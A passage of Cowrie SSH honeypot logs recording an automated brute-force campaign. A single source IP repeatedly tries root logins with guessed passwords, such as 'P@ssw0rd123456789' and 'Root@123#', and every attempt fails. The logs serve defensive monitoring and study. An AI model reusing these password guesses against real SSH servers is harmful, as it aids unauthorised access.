sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 98f63c4d9c87edbd97ed4747fa031019","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:03:41.493994Z","src_ip":"60.165.124.241","session":"04afa598d482","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Muhammad","message":"login attempt [root/Muhammad] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:03:42.213783Z","src_ip":"60.165.124.241","session":"04afa598d482","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:03:43.454587Z","src_ip":"60.165.124.241","session":"04afa598d482","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"60.165.124.241","src_port":60142,"dst_ip":"10.17.0.5","dst_port":22,"session":"cb9a00c1f37d","protocol":"ssh","message":"New connection: 60.165.124.241:60142 (10.17.0.5:22) [session: cb9a00c1f37d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:03:43.689181Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:03:43.695297Z","src_ip":"60.165.124.241","session":"cb9a00c1f37d","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"98f63c4d9c87edbd97ed4747fa031019","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 98f63c4d9c87edbd97ed4747fa031019","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:03:43.936535Z","src_ip":"60.165.124.241","session":"cb9a00c1f37d","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"P@ssw0rd123456789","message":"login attempt [root/P@ssw0rd123456789] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:03:44.662251Z","src_ip":"60.165.124.241","session":"cb9a00c1f37d","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:03:45.904314Z","src_ip":"60.165.124.241","session":"cb9a00c1f37d","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"60.165.124.241","src_port":35202,"dst_ip":"10.17.0.5","dst_port":22,"session":"3c2173d908cb","protocol":"ssh","message":"New connection: 60.165.124.241:35202 (10.17.0.5:22) [session: 3c2173d908cb]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:03:46.173582Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:03:46.179603Z","src_ip":"60.165.124.241","session":"3c2173d908cb","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"98f63c4d9c87edbd97ed4747fa031019","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 98f63c4d9c87edbd97ed4747fa031019","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:03:46.436514Z","src_ip":"60.165.124.241","session":"3c2173d908cb","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Nothing@123","message":"login attempt [root/Nothing@123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:03:47.210076Z","src_ip":"60.165.124.241","session":"3c2173d908cb","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:03:48.468036Z","src_ip":"60.165.124.241","session":"3c2173d908cb","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"60.165.124.241","src_port":38420,"dst_ip":"10.17.0.5","dst_port":22,"session":"64c7a10e05a4","protocol":"ssh","message":"New connection: 60.165.124.241:38420 (10.17.0.5:22) [session: 64c7a10e05a4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:03:48.685367Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:03:48.690391Z","src_ip":"60.165.124.241","session":"64c7a10e05a4","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"98f63c4d9c87edbd97ed4747fa031019","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 98f63c4d9c87edbd97ed4747fa031019","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:03:48.934028Z","src_ip":"60.165.124.241","session":"64c7a10e05a4","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"asd123..","message":"login attempt [root/asd123..] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:03:49.655884Z","src_ip":"60.165.124.241","session":"64c7a10e05a4","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:03:50.896266Z","src_ip":"60.165.124.241","session":"64c7a10e05a4","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"60.165.124.241","src_port":41582,"dst_ip":"10.17.0.5","dst_port":22,"session":"792546baa364","protocol":"ssh","message":"New connection: 60.165.124.241:41582 (10.17.0.5:22) [session: 792546baa364]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:03:51.128806Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:03:51.133939Z","src_ip":"60.165.124.241","session":"792546baa364","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"98f63c4d9c87edbd97ed4747fa031019","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 98f63c4d9c87edbd97ed4747fa031019","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:03:51.374287Z","src_ip":"60.165.124.241","session":"792546baa364","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"huawei123.","message":"login attempt [root/huawei123.] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:03:52.092748Z","src_ip":"60.165.124.241","session":"792546baa364","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:03:53.332584Z","src_ip":"60.165.124.241","session":"792546baa364","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"60.165.124.241","src_port":44740,"dst_ip":"10.17.0.5","dst_port":22,"session":"6780d062ee5e","protocol":"ssh","message":"New connection: 60.165.124.241:44740 (10.17.0.5:22) [session: 6780d062ee5e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:03:53.568871Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:03:53.578273Z","src_ip":"60.165.124.241","session":"6780d062ee5e","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"98f63c4d9c87edbd97ed4747fa031019","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 98f63c4d9c87edbd97ed4747fa031019","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:03:53.817034Z","src_ip":"60.165.124.241","session":"6780d062ee5e","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"root@root","message":"login attempt [root/root@root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:03:54.542563Z","src_ip":"60.165.124.241","session":"6780d062ee5e","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:03:55.785634Z","src_ip":"60.165.124.241","session":"6780d062ee5e","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"60.165.124.241","src_port":47876,"dst_ip":"10.17.0.5","dst_port":22,"session":"4d9cc8aacadd","protocol":"ssh","message":"New connection: 60.165.124.241:47876 (10.17.0.5:22) [session: 4d9cc8aacadd]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:03:56.019493Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:03:56.024584Z","src_ip":"60.165.124.241","session":"4d9cc8aacadd","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"98f63c4d9c87edbd97ed4747fa031019","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 98f63c4d9c87edbd97ed4747fa031019","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:03:56.265152Z","src_ip":"60.165.124.241","session":"4d9cc8aacadd","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"aa112233","message":"login attempt [root/aa112233] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:03:56.986944Z","src_ip":"60.165.124.241","session":"4d9cc8aacadd","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:03:58.229223Z","src_ip":"60.165.124.241","session":"4d9cc8aacadd","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"60.165.124.241","src_port":51128,"dst_ip":"10.17.0.5","dst_port":22,"session":"bc7d804787b2","protocol":"ssh","message":"New connection: 60.165.124.241:51128 (10.17.0.5:22) [session: bc7d804787b2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:03:58.464551Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:03:58.472937Z","src_ip":"60.165.124.241","session":"bc7d804787b2","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"98f63c4d9c87edbd97ed4747fa031019","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 98f63c4d9c87edbd97ed4747fa031019","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:03:58.712070Z","src_ip":"60.165.124.241","session":"bc7d804787b2","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Pn@123456","message":"login attempt [root/Pn@123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:03:59.435867Z","src_ip":"60.165.124.241","session":"bc7d804787b2","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:04:00.680503Z","src_ip":"60.165.124.241","session":"bc7d804787b2","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"60.165.124.241","src_port":54484,"dst_ip":"10.17.0.5","dst_port":22,"session":"d0d95cbf87c0","protocol":"ssh","message":"New connection: 60.165.124.241:54484 (10.17.0.5:22) [session: d0d95cbf87c0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:04:00.920095Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:04:00.925324Z","src_ip":"60.165.124.241","session":"d0d95cbf87c0","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"98f63c4d9c87edbd97ed4747fa031019","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 98f63c4d9c87edbd97ed4747fa031019","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:04:01.165135Z","src_ip":"60.165.124.241","session":"d0d95cbf87c0","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Root@123#","message":"login attempt [root/Root@123#] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:04:01.887189Z","src_ip":"60.165.124.241","session":"d0d95cbf87c0","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:04:03.131611Z","src_ip":"60.165.124.241","session":"d0d95cbf87c0","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"60.165.124.241","src_port":57538,"dst_ip":"10.17.0.5","dst_port":22,"session":"a205c4f05710","protocol":"ssh","message":"New connection: 60.165.124.241:57538 (10.17.0.5:22) [session: a205c4f05710]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:04:03.360209Z"}
